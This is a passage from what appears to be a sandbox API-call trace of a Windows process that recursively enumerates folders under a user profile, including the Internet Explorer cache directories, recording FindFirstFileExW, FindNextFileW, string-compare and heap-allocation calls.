ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bee8 [0077.302] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Ringtones\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.303] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.303] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.303] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.303] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.303] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.303] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.303] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.303] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1 [0077.303] lstrcmpW (lpString1="Content.IE5", lpString2=".") returned 1 [0077.303] lstrcmpW (lpString1="Content.IE5", lpString2="..") returned 1 [0077.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0077.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6aad70 [0077.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x68bc38 [0077.303] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.303] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.303] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.305] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.305] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.305] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e570c75, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.305] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb29b09d0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0077.305] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MM5O9XQS", cAlternateFileName="")) returned 1 [0077.305] lstrcmpW (lpString1="MM5O9XQS", lpString2=".") returned 1 [0077.305] lstrcmpW (lpString1="MM5O9XQS", lpString2="..") returned 1 [0077.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0077.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8500 [0077.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x3176820 [0077.305] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.308] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.308] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.310] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.310] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.310] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.311] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317ffd0 [0077.312] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.313] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.313] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.313] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.314] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.324] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.324] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.326] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.326] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.326] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.326] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317ffd0 [0077.327] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.328] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.328] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.328] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.330] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.576] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.576] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.642] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.642] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.642] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.642] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.642] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317ffd0 [0077.643] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.644] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.644] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.644] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.645] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.655] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.655] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.668] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.669] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.669] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.669] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317ffd0 [0077.670] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.670] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.670] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.670] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.671] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.671] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.671] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e570c75, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.672] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb29b09d0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0077.672] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, 